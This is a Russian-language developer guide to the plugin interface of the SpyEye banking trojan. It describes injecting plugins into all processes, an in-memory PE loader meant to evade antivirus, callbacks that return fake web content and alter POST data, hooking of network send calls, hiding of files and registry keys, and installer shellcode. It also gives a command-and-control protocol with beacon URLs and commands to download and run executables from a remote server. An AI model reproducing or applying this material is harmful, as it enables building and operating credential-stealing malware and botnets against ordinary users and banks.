Идея заключается в том, что функционал бота не должен быть ограничен его автором. Всвязи с этим, в SpyEye'е появилась поддержка подключаемых модулей (plugin'ов) сторонних разработчиков.
Т.е. у стороннего разработчика имеется возможность подключить программный код к трояну. При этом, "контейнером" этого кода служит DLL.
Плагин представляет собой два файла. Это, собственно, DLL и её конфиг. Именем файла DLL является название плагина. Имя файла конфига это имя файла DLL с постфиксом .cfg (например, если плагин называется socks.dll, то конфиг этого плагина должен называться socks.dll.cfg)
Конфиг плагина - это тектовый файл, контент которого является аргументом функции Init.
Всего, существуют 3 функции, которые обязательно должны быть объявлены в таблице экпорта DLL. Это Init, Start и Stop. Start и Stop нужны, чтобы управлять плагином из главной панели (см. соответствующее меню - Plugins).
Плагины подразделяются на два вида:
Это вид плагина по-умолчанию. При этом, код плагина будет выполняться только в главном процессе бота (это explorer.exe).
Если нужно, чтобы код плагина выполнялся не только в главном процессе бота, то можно объявить функцию IsGlobal, которая будет возвращать TRUE. При этом, код плагина будет исполняться во всех, доступных для инжектинга процессах. При запуске новых процессов, плагин будет запускаться в нём сразу при старте, после точки входа. Функции Start и Stop будут вызываться во всех экземплярах плагина.
Для запуска плагинов, SpyEye не использует стандартный PE loader OS Windows, всвязи с тем, что Win API не предоставляет функций, для загрузки исполняемого файла из памяти (вынуждая при этом, сохранять DLL на диск и использовать ntdll!LdrLoadDll). Естественно, это не подходит нам, т.к. сигнатурные AV-сканеры будут detect'ить исполняемые файлы плагинов. Поэтому, SpyEye имеет собственный PE loader, чтобы запускать код плагинов из памяти, минуя dump на диск. Т.е. криптовать DLL плагина не нужно.
Плагины хранятся в конфиге бота. Это удобно, т.к. нет нужды цеплять плагин в исполняемый файл бота. Тем самым, можно сократить размер файла бота, храня тяжеловесные плагины в конфиге. Т.е. после запуска на машине holder'а, бот подтянет конфиг и запустит оттуда плагины.
Соглашение о вызовах, используемое в функциях плагина, должно быть строго cdecl.
szConfig | null-terminated строка, контент которой является конфигом плагина. |
Функция единожды вызывается ботом, в контексте одного процесса. Вызов происходит в отдельном потоке.
Вызов функции инициируется командой от gate'а главной панели управления. Вызов происходит в отдельном потоке.
Вызов функции инициируется командой от gate'а главной панели управления. А также, в случае update'а конфига бота или update'а самого бота. Вызов происходит в отдельном потоке, кроме услучая с uninstall'ом плагина при обновлении конфига или исполняемого кода бота.
lpGateFunc | Указатель на функцию со следующим прототипом: typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize)
Эту функцию может вызывать плагин, чтобы передать информацию в коллектор. Протокол следующий:
[Null-Terminated-String:NameOfTable] [DWORD:CountOfFields] --- field1 --- [Null-Terminated-String:NameOfField] [DWORD:SizeOfField] [BYTE-Array:FiledData] --- --- field2 --- ... --- |
Функция выполняется до вызова Init. Возвращается всего один параметр - указатель на функцию-gate, отправка данных через которую осуществляется в отдельном потоке.
Перед отправкой данных, нужно сконфигурировать коллектор определённым образом. А именно, в папку tables нужно положить *.sql файл со скриптом создания таблицы.
Например: table_test.sql
При этом, если вызвать функцию-gate со следующими аргументами:
то Collector вставит эти данные в таблицу test. И, появится запись вида:
+----+-------+---------------------+ | id | test | date_rep | +----+-------+---------------------+ | 1 | tada! | 2006-04-02 22:20:15 | +----+-------+---------------------+
Для удобного генерирования аргументов функции-gate'а, можно написать какой-нибудь вспомогательный код вида:
includes.h:
minisausage.h:
minisausage.cpp:
Пример использования:
sausage_sample.cpp:
Аналог функции TakeGateToCollector. Отличие лишь в том, что отправка данных выполняется в текущем, а не в дополнительном потоке.
szBotGuid |
null-terminated строка, представляющая уникальный идентификатор бота. * Максимальный размер - 80 символов |
Функция выполняется до вызова Init.
szBotPath |
null-terminated строка, представляющая путь к исполняемому файлу бота. * Максимальный размер - 260 символов |
Функция выполняется до вызова Init.
dwBotVersion |
Число, представляющее собой версию бота. Чтобы получить текущую версию бота в удобочитаемом виде, нужно преобразовать это число к десятичному виду и проставить разделительные точки для каждого чётного разряда этого числа. Например: 0x0000283B -> 10299 -> "v1.2.99" |
Функция выполняется до вызова Init.
Return Value |
Значения этого числа представляют собой состояние, в котором находится плагин. Различаются всего два состояния: OFF и ON. Соответственно:
|
Эта функция может использоваться плагином для предотвращения повторного вызова функций Start и Stop. Например, в случае вызова функции Start из функции Init (в случае автозапуска плагина), плагин может возвращать состояние PLUGIN_ON, чтобы предотвратить вызов функции Start, даже если команда прийдёт из панели управления.
Return Value |
Флаг возможности выгруза исполняемого кода плагин из адресного пространства его процесса. |
Если плагин возвращает TRUE при вызове этой функции, то SpyEye не будет производить выгруза его исполняемого кода из текущего процесса при update'е конфига или исполняемого кода бота.
Return Value |
Флаг, определяющий нужно ли выполнять код плагина во всех доступных для инжектинга процессах. |
szUrl |
URL |
szVerb |
Тип запроса (GET или POST) |
szHeaders |
HTTP-заголовок запроса |
szPostVars |
В случае, если тип запроса = POST, то szPostVars содержит POST-параметры запроса |
lpdwProcessMode |
Указатель на DWORD-переменную, определяющую коллбэк, вызываемый для текущего ресурса. Принимаемые значения:
|
szUrl |
URL |
szVerb |
Тип запроса (GET или POST) |
szHeaders |
HTTP-заголовок запроса |
szPostVars |
В случае, если тип запроса = POST, то szPostVars содержит POST-параметры запроса |
lpszContent |
Указатель на null-terminated строку, в которой содержится fake'овый ответ вебсервера (вместе с HTTP-заголовком). |
lpdwSize |
Указатель на DWORD, в котором хранится размер строки, хранящийся по адресу lpszContent. |
* Плагин собственным менеджером памяти должен выделить память и присвоить её адрес к указателю lpszContent. Следовательно, плагин должен предоставить адрес на функцию, которая будет освобождать память по этому адресу. Всвязи с этим, чтобы не было утечек памяти, плагин должен определить функцию FreeMem.
szUrl |
URL |
szVerb |
Тип запроса (GET или POST) |
szHeaders |
HTTP-заголовок запроса |
szPageContent |
Контент страницы (без HTTP-заголовка) |
szOut |
Указатель на null-terminated строку, куда плагин может вернуть фейковый контент страницы (без HTTP-заголовка) |
lpdwSize |
Указатель на DWORD, в котором хранится размер szPageContent |
* При использовании этого коллбэка, настоятельно рекомендуется объявить функцию FreeMem (причину см. в описании коллбэка Callback_OnBeforeLoadPage3)
* Данные страницы передаются в коллбэк ПОСЛЕ применения вебинжектов (если таковые были заданы в файле правил webinjects.txt)
szUrl |
URL |
szVerb |
Тип запроса (GET или POST) |
szInPostVars |
null-terminated строка, в которой находятся параметры текущего POST-запроса |
dwInPostVarsSize |
DWORD, в котором хранится размер szInPostVars |
szOutPostVars |
Указатель на null-terminated строку, куда плагин может вернуть фейковые параметры POST-запроса |
lpdwOutPostVarsSize |
Указатель на DWORD, в котором хранится размер szOutPostVars |
* При использовании этого коллбэка, настоятельно рекомендуется объявить функцию FreeMem (причину см. в описании коллбэка Callback_OnBeforeLoadPage3)
lpMem |
Указатель на динамическую память, которая выделяется плагином. |
lpGetPageFunc |
Указатель на функцию со следующим прототипом: typedef BOOL (*GETPAGE)(IN PCHAR szURLPage, OUT PBYTE *lppbData, OUT PDWORD lpdwSize, IN PCHAR szHeaders)
Эта функция занимается скачиванием ресурсов по протоколу HTTP/HTTPS. Имеет следующие параметры:
* Значения указателей lppbData & lpdwSize приравниваются к NULL до начала каких-либо действий. |
Функция выполняется до вызова Init.
Если плагин использует lpGetPageFunc, то во избежание утечки памяти, плагину нужно будет удалить память выделенную по указателю lppbData. Для получения адреса функции, занимающейся освобождением памяти, нужно объявить коллбэк TakeFreeMem.
lpGetPage2Func |
Указатель на функцию со следующим прототипом:
BOOL GetPage2(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szRequestHeaders, IN BOOL bReadResponseHeaders, IN LPVOID lpOptional, DWORD dwOptionalLength, OUT PBYTE *pbData, OUT PDWORD dwSize)
Эта функция представляет собой расширенную версию ф-и GetPage(). Имеет следующие параметры:
|
Функция выполняется до вызова Init.
lpFreeMemFunc |
Указатель на функцию со следующим прототипом: typedef VOID (*FREE)(IN LPVOID lpMem)
|
Функция освобождает динамическую память по указателю lpFreeMemFunc. Используется в менеджере памяти SpyEye.
Функция выполняется до вызова Init.
lpOriginalFunction |
Указатель на функцию ws2_32!send |
s, buf, size, flags |
Аргументы функции ws2_32!send |
lpReturn |
Результат выполнения ws2_32!send |
Return Value |
Только если TRUE, то результат оригинальной ws2_32!send будет подменяться на *lpReturn |
Подобный callback нужен, чтобы плагин имел возможность получать input и изменять output параметры функции ws2_32!send. Собственно, это следует из его названия.
Данный коллбэк создан во избежание конфликтов, если плагин захочет просплайсить функцию ws2_32!send.
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *GETCONFIGCRC32)(OUT PDWORD pdwCrc32)
Эта функция может использоваться плагином для определения текущего CRC32 (идентификатора) файла конфига бота config.bin. Имеет следующие параметры:
|
Функция выполняется до вызова Init.
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *GETBOTEXEMD5)(OUT PCHAR szMd5);
Эта функция может использоваться плагином для определения MD5 (идентификатора) главного исполяемого файла бота. Имеет следующие параметры:
|
Функция выполняется до вызова Init.
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *GETPLUGINSLIST)(OPTIONAL OUT PCHAR szPluginsList, IN OUT PDWORD pdwSize, OPTIONAL OUT PBOOL pblPluginsStat, IN OUT PDWORD pdwSizeStat);
Эта функция может использоваться плагином для получения информации о плагинах и их состояниях. Имеет следующие параметры:
|
Функция выполняется до вызова Init.
lpFunc |
Указатель на функцию со следующим прототипом:
typedef VOID (__cdecl *MAINCPGATEOUTPUT)(IN PBYTE pbData, IN DWORD dwSize);
Плагин вызывает эту функцию, чтобы передать в бота инфо от главной панели управления. Кроме этого, плагин может формировать входные параметры, чтобы управлять ботом. Ф-я имеет следующие параметры:
|
Функция выполняется до вызова Init.
Функция аналогична той, что используется в коллбэке TakeMainCpGateOutputCallback. Отличие в назначении. Бот вызывает её, когда хочет передать инфо главной панели управления
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *UPDATEBOTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN BOOL bReplaceBotExe, IN DWORD dwTaskId);
Эта функция может использоваться плагином для обновления exe'шника бота. Имеет следующие параметры:
|
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *UPDATECONFIG)(IN PBYTE pbData, IN DWORD dwSize, IN DWORD dwTaskId);
Эта функция может использоваться плагином для обновления config.bin'а. Имеет следующие параметры:
|
lpFunc |
Указатель на функцию со следующим прототипом:
typedef BOOL (__cdecl *STARTEXE)(IN PBYTE pbData, IN DWORD dwSize, IN BOOL bUseBuildinPeLoader, IN DWORD dwTaskId);
Эта функция может использоваться плагином для запуска стороннего exe'шника. Имеет следующие параметры:
|
lpFunc |
Указатель на функцию со следующим прототипом:
typedef VOID (__cdecl *GATEPAGESENDMSG)(IN BOOL isOutput, IN PCHAR szMessage);
Эта функция может использоваться плагином для управления плагинами типа customconnector'а. С помощью неё можно управлять и любыми другими плагинами, соблюдая внутренний протокол бота, описанный в разделе о customconnector'е. Имеет следующие параметры:
|
Эти плагины необходимы на этапе установки бота в систему. В v1.3 имеется всего два таких плагина.
Используется для формирования низкоуровнего конфига (используется для таких вещей как определение папки, в которую устанавливается бот, определением имени файла бота и прочее).
Собственно, устанавливает бота в систему (то есть занимается переносом исполняемого файла бота из места, откуда он первый раз был запущен, в место, определённое результатом работы ConfigShellcode).
Эти шеллкоды находятся в ресурсах exe'шника бота. Схема:
Шеллкод, в качестве контейнера кода, был выбран не случайно. Его размер минимален (отсутствует PE-заголовок, отсутствуют какие-либо секции, таблица импорта) и его просто внедрять (не нужно настраивать ни релоки, ни таблицу импорта).
Итак, имеется низкоуровневый конфиг бота. Отчасти он задаётся в билдере, отчасти он формируется ConfigShellcode'ом. Структура конфига следующая:
Всегда принимает значение 0x45594521 ("!EYE"). Нужен для того, чтобы шеллкод определил на какой странице находится конфиг.
Путь, откуда был запущен exe'шник бота. Параметр динамический. Каждый раз заполняется ботом.
Папка, куда нужно дропнуть exe'шник бота.
Имя исполняемого файла бота. Устанавливается билдером. Шеллкод лишь добавляет расширение файла.
Имя главного конфига бота. Шеллкод всегда устанавливает его в "config.bin"
Имя exe-файла, в который бот дропает свой exe'шник при update'е
Собственно, temp-дира, куда дропаются исполняемые файлы, запускаемые позже стандартным PE-загрузчиком Windows
Префикс exe'шников, которые используется в loader'е бота.
Собственно, идентификатор бота. Формируется из таких вещей как: версия ОС, имя ПК, серийный номер логического системного диска.
Имя mutex'а, который используется для идентификации бота в системе
Имя mutex'а, который используется для сноса бота из системы
Имя mutex'а, который используется для обновления конфига во всех процессах, куда проинжектился бот
Имя mutex'а, который используется как признак того, что отчёт с инфой о системе уже ушел в коллектор
Имя переменной окружения в главном процессе бота, значение которой является ключом расшифровки конфига бота
Массив, в котором хранятся имена файлов и папок, которые будут скрываться ботом. Разделитель между именами - символ конца строки. Конец массива определяется на основе значений массива btFilesToHidePointers
Массив, в котором хранятся смещения массива szFilesToHide, определяющие начала строк. Если значение ячейки этого массива 0, то файлов для сокрытия больше не имеется
Список ключей реестра для сокрытия. Аналогичен szFilesToHide
Аналогичен szRegKeysToHide
Итак, как происходит установка бота?
Как низкоуровневые плагины могут использоваться? Ну, например:
Достаточно использовать 3 коллбэка:
В первом - плагин определяет - нужно ли возвращать фейковый контент для данного ресурса или нет.
Во втором - плагин возвращает фейковый контент.
В третьем - плагин освобождает выделеную память, которая использовалась для хранения фейкового контента.
Вот пример, демонстрирующий подмену картинки:
Собственно, если к любой картинке добавить в URL строку, "CallbackOnBeforeLoadPage3", то плагин вернёт фейковый контент. Примеры:
Оригинальная картинка:
Фейковая картинка, которую вернул плагин:
Начиная с v1.3, SpyEye использует отдельный плагин для связи с главной панелью управления.
На данный момент, используется следующий протокол для связи с админкой. Бот, по интервалу, отправляет примерно такое инфо в гейт:
> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector
Это HTTP-GET запрос, который можно сегментировать на следующие параметры:
Первые пать параметров являются обязательными. Админка, анализируя их значения, может выдавать следующие команды:
Чтобы узнать значения для каждого из них, плагин использует соответствующее API:
Остальные параметры (stat, ie, os, ut) не требуют получения инфы от бота (не являются обязательными), поэтому генерируются самим плагином.
Схематично, работа плагина выглядит следующим образом:
Протокол приёма команд SpyEye'ем - текстовый. То есть, в gate.php отправляется HTTP-GET запрос, и, если боту нужно выполнить какое-то действие, то customconnector.dll вызывает MainCpGateOutput. Ниже приведены типы команд и то, что передаётся в MainCpGateOutput для определённой команды
UPDATE_CONFIG<br>PATH=http://www.myserver.cn/config.bin
UPDATE<br>PATH=http://www.myserver.cn/bot.exe
PLUGIN<br>customconnector;0<br>socks5;1<br>
LOAD<br>http://www.myserver.cn/smth.exe<br>tid=1
В случае, если SpyEye хочет передать инфо в главную админку. Например, о статусе задания, которое выполнилось ботом, то он вызывает функцию MainCpGateInput. Формат параметров такой же как и в случае с HTTP-GET запросом.
Итак, подводя итог. Плагин customconnector является посредником между ботом и главной админкой. Это даёт возможность, например, использовать какое-то шифрование трафика, между ботом и главной админкой (естественно, это потребует некоторых модификаций серверной части). Так же, можно эмулировать команды от админки, управляя SpyEye'ем. И вообще - можно отказаться от gate.php и использовать какой-то свой сервер для управления ботнетом. Также можно реализовать децентрализованный ботнет на базе этого плагина.
В общем, этот плагин расширяет возможности по custom'изации связи с админкой для developer'ов.